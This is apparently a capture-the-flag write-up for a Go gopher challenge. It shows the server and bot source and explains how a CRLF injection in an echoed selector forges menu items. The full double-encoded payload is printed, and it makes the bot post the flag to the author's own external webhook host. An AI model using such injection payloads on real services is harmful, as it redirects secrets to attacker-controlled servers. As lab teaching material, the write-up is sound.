Tags: crlf http go crlfinjection gopher 

Rating:

# go-gopher: CRLF injection with Gopher

We're given two URLs: one is a gopher URL, and the other is a link to a standard HTTP site where we can submit gopher URLs.

Let's take a look at the gopher site first:
```go
package main

import (
"fmt"
"log"
"net/url"
"strings"

"git.mills.io/prologic/go-gopher"
)

func index(w gopher.ResponseWriter, r *gopher.Request) {
w.WriteInfo("Welcome to the flag submitter!")
w.WriteInfo("Please submit all your flags!")
w.WriteItem(&gopher.Item{
Type: gopher.DIRECTORY,
Selector: "/submit/user",
Description: "Submit flags here!",
})
w.WriteItem(&gopher.Item{
Type: gopher.FILE,
Selector: "URL:https://ctf.amateurs.team/",
Description: "Get me more flags lackeys!!",
})
w.WriteItem(&gopher.Item{
Type: gopher.DIRECTORY,
Selector: "/",
Description: "Nice gopher proxy",
Host: "gopher.floodgap.com",
Port: 70,
})
}

func submit(w gopher.ResponseWriter, r *gopher.Request) {
name := strings.Split(r.Selector, "/")[2]
undecoded, err := url.QueryUnescape(name)
if err != nil {
w.WriteError(err.Error())
}
w.WriteInfo(fmt.Sprintf("Hello %s", undecoded))
w.WriteInfo("Please send a post request containing your flag at the server down below.")
w.WriteItem(&gopher.Item{
Type: gopher.FILE,
Selector: "URL:http://amt.rs/gophers-catcher-not-in-scope",
Description: "Submit here! (gopher doesn't have forms D:)",
Host: "error.host",
Port: 1,
})
}

func main() {
mux := gopher.NewServeMux()

mux.HandleFunc("/", index)
mux.HandleFunc("/submit/", submit)

log.Fatal(gopher.ListenAndServe("0.0.0.0:7000", mux))
}
```
We can see that most of it is just serving a static menu, but one thing that stands out is that we can enter an arbitrary string and have it echoed back to us in the "Hello %s" line, which could be something we could exploit later.

Next let's look at the bot code:
```go
package main

import (
"bytes"
"fmt"
"log"
"net/http"
"net/url"
"os"
"strings"

"git.mills.io/prologic/go-gopher"
)

var flag = []byte{}

func main() {
content, err := os.ReadFile("flag.txt")
if err != nil {
log.Fatal(err)
}
flag = content

http.HandleFunc("/submit", Submit)
http.HandleFunc("/", Index)
if err := http.ListenAndServe(":8080", nil); err != nil {
log.Fatal(err)
}
}

func Index(w http.ResponseWriter, r *http.Request) {
http.ServeFile(w, r, "index.html")
}

func Submit(w http.ResponseWriter, r *http.Request) {
r.ParseForm()
u, err := url.Parse(r.Form.Get("url"))
if err != nil || !strings.HasPrefix(u.Host, "amt.rs") {
w.Write([]byte("Invalid url"))
return
}

w.Write([]byte(Visit(r.Form.Get("url"))))
}

func Visit(url string) string {
fmt.Println(url)
res, err := gopher.Get(url)
if err != nil {
return fmt.Sprintf("Something went wrong: %s", err.Error())
}
h, _ := res.Dir.ToText()
fmt.Println(string(h))

url, _ = strings.CutPrefix(res.Dir.Items[2].Selector, "URL:")
fmt.Println(url)
_, err = http.Post(url, "text/plain", bytes.NewBuffer(flag))

if err != nil {
return "Failed to make request"
}

return "Successful visit"
}
```
We can see that when the bot visits the gopher URL (which must be on `amt.rs`), it does a few things:

1. It requests the URL
2. It gets a URL from the 3rd menu item
3. It does a HTTP POST request to the URL provided

So if we can inject a custom URL into the menu, then we can control the URL that the flag gets posted to.

I looked at the [Gopher menu format](https://en.wikipedia.org/wiki/Gopher_(protocol)#Source_code_of_a_menu) and I saw that menu items were seperated by a CRLF. We could easily URL encode it and send it to the bot. It would then be reflected through the "Hello %s" menu item and it would create our own custom menu items.

From here I used the specification (which is pretty simple compared to other protocols) to construct the payload to CRLF inject so that the 3rd menu item would point to my own server.

My final payload was `gopher://amt.rs:31290/1/submit/aaa%2509%2509error.host%25091%250d%250aiTesting%2509%2509error.host%25091%250d%250a0Submit%2509URL%3Ahttps%253A%252F%252Fpost-logger.programmeruser.repl.co%252F%2509error.host%25091%250d%250aiTesting` (the repl.co site is my own custom webhook logger, change it to your own server). For some reason it has to be double URL encoded (I'm guessing that it's double decoded somewhere in the bot code).

I sent this to the bot and I got the flag: `amateursCTF{wh0_s@ys_goph3r_i5nt_web?}`